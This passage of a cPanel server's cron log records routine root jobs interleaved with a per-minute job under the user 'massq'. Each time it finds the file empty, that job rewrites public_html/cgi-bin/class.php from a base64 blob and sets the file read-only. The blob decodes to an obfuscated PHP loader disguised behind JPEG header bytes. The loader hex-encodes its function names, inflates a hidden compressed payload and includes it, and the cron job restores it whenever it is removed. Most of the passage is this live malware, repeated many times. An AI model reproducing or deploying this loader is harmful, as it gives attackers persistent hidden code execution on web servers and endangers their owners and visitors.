&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:35:01 server CROND[15506]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 06:35:01 server CROND[15508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:35:01 server CROND[15510]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:35:01 server CROND[15511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:35:01 server CROND[15509]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 06:36:01 server CROND[16012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:37:01 server CROND[16784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:38:01 server CROND[17017]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:39:01 server CROND[17835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:39:01 server CROND[17836]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 06:40:01 server CROND[18037]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 06:40:01 server CROND[18038]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:40:01 server CROND[18039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:40:01 server CROND[18040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:41:01 server CROND[18974]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:42:01 server CROND[19779]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 06:42:01 server CROND[19781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:43:01 server CROND[20600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:44:01 server CROND[21424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:45:01 server CROND[21905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:45:01 server CROND[21906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:45:01 server CROND[21907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:46:01 server CROND[22818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
